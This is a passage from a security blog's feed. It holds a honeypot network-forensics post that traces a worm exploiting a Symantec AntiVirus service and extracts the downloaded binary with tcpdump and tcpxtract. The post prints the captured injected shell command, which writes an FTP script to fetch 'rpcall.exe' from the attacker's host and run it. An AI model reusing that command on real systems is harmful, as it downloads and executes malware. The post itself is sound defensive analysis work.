&lt;/span&gt;0x0100:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0110:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0120:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0130:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0140:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6162 6262 6262&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaabbbbb&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;.......&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;00:31:42.622794 IP (tos 0x0, ttl&lt;span style=""&gt;  &lt;/span&gt;46, id 12544, offset 0, flags [DF], proto: TCP (6), length: 1492) 71.40.196.103.52964 &gt; 192.168.0.34.65535: ., cksum 0x11e7 (correct), 3870755453:3870756905(1452) ack 3658573020 win 64240&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0000:&lt;span style=""&gt;  &lt;/span&gt;4500 05d4 3100 4000 2e06 49ca 4728 c467&lt;span style=""&gt;  &lt;/span&gt;E...1.@...I.G(.g&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0010:&lt;span style=""&gt;  &lt;/span&gt;c0a8 0022 cee4 ffff e6b7 0a7d da11 64dc&lt;span style=""&gt;  &lt;/span&gt;...".......}..d.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0020:&lt;span style=""&gt;  &lt;/span&gt;5010 faf0 11e7 0000 4d5a 9000 0300 0000&lt;span style=""&gt;  &lt;/span&gt;P.......&lt;b&gt;&lt;span style="color:red;"&gt;MZ&lt;/span&gt;&lt;/b&gt;......&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0030:&lt;span style=""&gt;  &lt;/span&gt;0400 0000 ffff 0000 b800 0000 0000 0000&lt;span style=""&gt;  &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0040:&lt;span style=""&gt;  &lt;/span&gt;4000 0000 0000 0000 0000 0000 0000 0000&lt;span style=""&gt;  &lt;/span&gt;@...............&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt;0x0050:&lt;span style=""&gt;  &lt;/span&gt;0000 0000 0000 0000 0000 0000 0000 0000&lt;span style=""&gt;  &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0060:&lt;span style=""&gt;  &lt;/span&gt;0000 0000 c000 0000 0e1f ba0e 00b4 09cd&lt;span style=""&gt;  &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0070:&lt;span style=""&gt;  &lt;/span&gt;21b8 014c cd21 5468 6973 2070 726f 6772&lt;span style=""&gt;  &lt;/span&gt;!..L.!This.progr&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0080:&lt;span style=""&gt;  &lt;/span&gt;616d 2063 616e 6e6f 7420 6265 2072 756e&lt;span style=""&gt;  &lt;/span&gt;am.cannot.be.run&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0090:&lt;span style=""&gt;  &lt;/span&gt;2069 6e20 444f 5320 6d6f 6465 2e0d 0d0a&lt;span style=""&gt;  &lt;/span&gt;.in.DOS.mode....&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00a0:&lt;span style=""&gt;  &lt;/span&gt;2400 0000 0000 0000 0e16 3dd2 4a77 5381&lt;span style=""&gt;  &lt;/span&gt;$.........=.JwS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00b0:&lt;span style=""&gt;  &lt;/span&gt;4a77 5381 4a77 5381 4a77 5381 4e77 5381&lt;span style=""&gt;  &lt;/span&gt;JwS.JwS.JwS.NwS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00c0:&lt;span style=""&gt;  &lt;/span&gt;c468 4081 5e77 5381 b657 4181 4b77 5381&lt;span style=""&gt;  &lt;/span&gt;.h@.^wS..WA.KwS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00d0:&lt;span style=""&gt;  &lt;/span&gt;5269 6368 4a77 5381 0000 0000 0000 0000&lt;span style=""&gt;  &lt;/span&gt;RichJwS.........&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00e0:&lt;span style=""&gt;  &lt;/span&gt;0000 0000 0000 0000 5045 0000 4c01 0200&lt;span style=""&gt;  &lt;/span&gt;........&lt;b&gt;&lt;span style="color:red;"&gt;PE&lt;/span&gt;&lt;/b&gt;..L...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00f0:&lt;span style=""&gt;  &lt;/span&gt;08b3 f445 0000 0000 0000 0000 e000 0f01&lt;span style=""&gt;  &lt;/span&gt;...E............&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0100:&lt;span style=""&gt;  &lt;/span&gt;0b01 050c 000a 0000 72f7 0100 0000 0000&lt;span style=""&gt;  &lt;/span&gt;........r.......&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0110:&lt;span style=""&gt;  &lt;/span&gt;0010 0000 0010 0000 0020 0000 0000 0010&lt;span style=""&gt;  &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;.........&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;We know the port 2967 all to well, SAV overflow and EXE download.&lt;span style=""&gt;  &lt;/span&gt;From here we see a valid download of a binary marked by the “MZ” DOS stub and “PE” file headers.&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;Had this been a real host and not a honeypot, we could conclude that this host was successfully exploited by the worm payload which caused shellcode to execute on the system to download the worm body.&lt;span style=""&gt;  &lt;/span&gt;This host would need to be examined further.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=";font-family:times new roman;font-size:130%;"  &gt;From here we can extract the binary from full content data using tcpXtract.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;# tcpdump -r shark_00001_20071112193138 -w dump host 71.40.196.103&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;and ….&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:78%;"  &gt;# tcpxtract -f dump&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:78%;"  &gt;Found file of type "exe" in session [71.40.196.103:58574 -&gt; 192.168.0.34:65535], exporting to 00000000.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:78%;"  &gt;Found file of type "pe" in session [71.40.196.103:58574 -&gt; 192.168.0.34:65535], exporting to 00000001.pe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:78%;"  &gt;Found file of type "exe" in session [71.40.196.103:58574 -&gt; 192.168.0.34:65535], exporting to 00000002.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;span style="font-size:78%;"&gt;reading from file shark_00001_20071112193138, link-type EN10MB (Ethernet)&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;It is important to note that these files extracted are most likely the same file as tcpxtract is looking to dump looking for the “MZ” or “PE” strings.&lt;span style=""&gt;  &lt;/span&gt;Using our knowledge of the PE file format we can determine that the only valid executable is the “00000000.exe” file.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;A look with tcpflow gives us the name of the binary and the injected ftp command:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family: courier new;"&gt;071.040.196.103.52580-192.168.000.034.08555: cmd /c echo open 71.40.196.103 19090 &gt;&gt; ii &amp;amp;echo user 1 1 &gt;&gt; ii &amp;amp;echo get &lt;/span&gt;&lt;b style="font-family: courier new;"&gt;rpcall.exe&lt;/b&gt;&lt;span style="font-family: courier new;"&gt; &gt;&gt; ii &amp;amp;echo bye &gt;&gt; ii &amp;amp;ftp&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new;font-size:78%;" &gt;-n -v -s:ii &amp;amp;del ii &amp;amp;rpcall.exe&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;Now that the executable is fully extracted, we can move to our reverse engineering (RE) platform, usually a Windows box running IDA Pro and Ollydbg.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;First thing I like to do is pass the binary through PEiD:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;PEiD detected that it is packed with PECompact 2.x.&lt;span style=""&gt;  &lt;/span&gt;This helps us to determine the packer used and aids in unpacking the malware.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:times new roman;"&gt;Next I run the malware through VirusTotal to see if it is a known variant.&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:times new roman;font-size:100%;"  &gt;  &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:times new roman;"&gt;The results show that this is not a highly detected piece of malware.&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:times new roman;font-size:100%;"  &gt;  &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:times new roman;"&gt;Only a few of the AV solutions detected it.&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Courier;"&gt;AntiVir&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Courier;font-size:85%;"  &gt;&lt;span style=""&gt;      &lt;/span&gt;7.6.0.34&lt;span style=""&gt;      &lt;/span&gt;2007.11.25&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color:red;"&gt;HEUR/Crypted&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Courier;"&gt;AVG&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Courier;font-size:85%;"  &gt;&lt;span style=""&gt;      &lt;/span&gt;7.5.0.503&lt;span style=""&gt;      &lt;/span&gt;2007.11.25&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color:red;"&gt;BackDoor.RBot.AN&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Courier;"&gt;eSafe&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Courier;font-size:85%;"  &gt;&lt;span style=""&gt;      &lt;/span&gt;7.0.15.0&lt;span style=""&gt;      &lt;/span&gt;2007.11.21&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color:red;"&gt;Suspicious File&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Courier;"&gt;McAfee&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Courier;font-size:85%;"  &gt;&lt;span style=""&gt;      &lt;/span&gt;5170&lt;span style=""&gt;      &lt;/span&gt;2007.11.23&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color:red;"&gt;W32/Sdbot.worm.gen.as&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Courier;"&gt;Panda&lt;span style=""&gt;      &lt;/span&gt;9.0.0.4&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Courier;font-size:85%;"  &gt;&lt;span style=""&gt;      &lt;/span&gt;2007.11.25&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color:red;"&gt;Suspicious file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Courier;"&gt;Prevx1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Courier;font-size:85%;"  &gt;&lt;span style=""&gt;      &lt;/span&gt;V2&lt;span style=""&gt;      &lt;/span&gt;2007.11.25&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color:red;"&gt;Heuristic: Suspicious Self Modifying EXE&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Courier;"&gt;Sunbelt&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Courier;font-size:85%;"  &gt;&lt;span style=""&gt;      &lt;/span&gt;2.2.907.0&lt;span style=""&gt;      &lt;/span&gt;2007.11.24&lt;span style=""&gt;      &lt;/span&gt;&lt;span style="color:red;"&gt;VIPRE.Suspicious&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Courier;"&gt;Webwasher-Gateway&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;span style="font-size:85%;"&gt;      &lt;/span&gt;&lt;span style="font-size:85%;"&gt;6.0.1&lt;/span&gt;&lt;span style="font-size:85%;"&gt;      &lt;/span&gt;&lt;span style="font-size:85%;"&gt;2007.11.25&lt;/span&gt;&lt;span style="font-size:85%;"&gt;      &lt;/span&gt;&lt;span style=";font-size:85%;color:red;"  &gt;Heuristic.Crypted&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;In my next post I will demonstrate some reverse engineering, and dynamic analysis tricks to analyze this specimen.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-5801176831836687778?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/5801176831836687778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=5801176831836687778' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/5801176831836687778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/5801176831836687778'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/12/x4d-x5a-x50-x45.html' title='x4D x5A ......x50 x45'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_QwzalobDZ4c/R1XYdjQwHYI/AAAAAAAAAD0/4uxFl1h0LWE/s72-c/tcpxtract2.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-538723407333636763</id><published>2007-10-17T08:04:00.001-07:00</published><updated>2007-10-17T08:44:43.186-07:00</updated><title type='text'>Dabber Dan!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QwzalobDZ4c/RxYkpmvE_yI/AAAAAAAAAC4/rArrmSR8c8I/s1600-h/dapperdan292x293gt2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 198px; height: 199px;" src="http://3.bp.blogspot.com/_QwzalobDZ4c/RxYkpmvE_yI/AAAAAAAAAC4/rArrmSR8c8I/s320/dapperdan292x293gt2.jpg" alt="" id="BLOGGER_PHOTO_ID_5122321923371761442" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:arial;"&gt;Ok, I know its a play on words, but I like it.  Today I checked my honeypot and got some old, but interesting traffic.  This post is more of a lesson in analysis methodology.  First I got on my IDS to see what as new:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;./snortalog.pl -attack /nsm/snort/alert -3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;subject: IDS Statistics generated on Wed Oct 17 11:06:46 2007&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;The log begins at : Oct 07 15:33:30&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;The log ends at : Oct 17 11:03:22&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Total of Lines in log file : 57283&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Total of Logs Dropped : 7294 (12.73%)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Total events in table : 7405&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Source IP recorded : 287&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Destination IP recorded : 68&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Host logger recorded : 1 with 1 interface(s)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Signatures recorded : 81&lt;/span&gt;&lt;br /&gt;&lt;span 